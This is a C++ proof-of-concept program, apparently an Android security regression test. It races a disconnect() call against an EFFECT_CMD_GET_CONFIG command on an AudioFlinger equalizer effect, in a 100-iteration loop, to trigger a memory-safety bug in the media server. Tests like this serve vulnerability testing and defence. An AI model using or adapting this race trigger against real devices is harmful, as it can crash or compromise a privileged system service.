| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #include <sys/types.h> |
| #include <sys/wait.h> |
| #include <stdlib.h> |
| |
| #include <android/media/BnEffectClient.h> |
| #include <android/media/IEffect.h> |
| #include <android/content/AttributionSourceState.h> |
| #include <hardware/audio_effect.h> |
| #include <media/AidlConversion.h> |
| #include <media/AudioSystem.h> |
| #include <media/IAudioFlinger.h> |
| |
| using namespace android; |
| using media::IEffect; |
| |
| struct EffectClient : public media::BnEffectClient { |
| EffectClient() {} |
| virtual binder::Status controlStatusChanged(bool controlGranted __unused) { |
| return binder::Status::ok(); |
| } |
| |
| virtual binder::Status enableStatusChanged(bool enabled __unused) { |
| return binder::Status::ok(); |
| } |
| |
| virtual binder::Status commandExecuted(int32_t cmdCode __unused, |
| const std::vector<uint8_t>& cmdData __unused, |
| const std::vector<uint8_t>& replyData __unused) { |
| return binder::Status::ok(); |
| } |
| }; |
| |
| sp<IEffect> gEffect; |
| |
| void *disconnectThread(void *) { |
| usleep(5); |
| if (gEffect != NULL && gEffect.get() != NULL) { |
| gEffect->disconnect(); |
| } |
| return NULL; |
| } |
| |
| int main() { |
| static const effect_uuid_t EFFECT_UIID_EQUALIZER = { |
| 0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}}; |
| |
| effect_descriptor_t descriptor; |
| memset(&descriptor, 0, sizeof(descriptor)); |
| descriptor.type = EFFECT_UIID_EQUALIZER; |
| descriptor.uuid = *EFFECT_UUID_NULL; |
| sp<EffectClient> effectClient(new EffectClient()); |
| |
| const int32_t priority = 0; |
| audio_session_t sessionId = (audio_session_t)(128); |
| const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE; |
| const std::string opPackageName("com.exp.poc"); |
| int32_t id; |
| int i, enabled; |
| status_t err; |
| |
| std::vector<uint8_t> cmdData; |
| std::vector<uint8_t> replyData; |
| |
| gEffect = NULL; |
| pthread_t pt; |
| const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger(); |
| AudioDeviceTypeAddr device; |
| android::content::AttributionSourceState attributionSource; |
| attributionSource.packageName = opPackageName; |
| attributionSource.pid = VALUE_OR_RETURN_STATUS(legacy2aidl_pid_t_int32_t(getpid())); |
| |
| for (i=0; i<100; i++) { |
| media::CreateEffectRequest request; |
| request.desc = VALUE_OR_RETURN_STATUS( |
| legacy2aidl_effect_descriptor_t_EffectDescriptor(descriptor)); |
| request.client = effectClient; |
| request.priority = priority; |
| request.output = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_io_handle_t_int32_t(io)); |
| request.sessionId = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_session_t_int32_t(sessionId)); |
| request.device = VALUE_OR_RETURN_STATUS(legacy2aidl_AudioDeviceTypeAddress(device)); |
| request.attributionSource = attributionSource; |
| request.probe = false; |
| |
| media::CreateEffectResponse response; |
| |
| err = audioFlinger->createEffect(request, &response); |
| |
| if (err == OK) { |
| id = response.id; |
| enabled = response.enabled; |
| gEffect = response.effect; |
| descriptor = VALUE_OR_RETURN_STATUS( |
| aidl2legacy_EffectDescriptor_effect_descriptor_t(response.desc)); |
| } |
| |
| if (gEffect == NULL || err != NO_ERROR) { |
| return -1; |
| } |
| pthread_create(&pt, NULL, disconnectThread, NULL); |
| binder::Status status = gEffect->command(EFFECT_CMD_GET_CONFIG, cmdData, |
| sizeof(effect_config_t), |
| &replyData, &err); |
| if (!status.isOk()) { |
| err = status.transactionError(); |
| } |
| usleep(50); |
| } |
| sleep(2); |
| return 0; |
| } |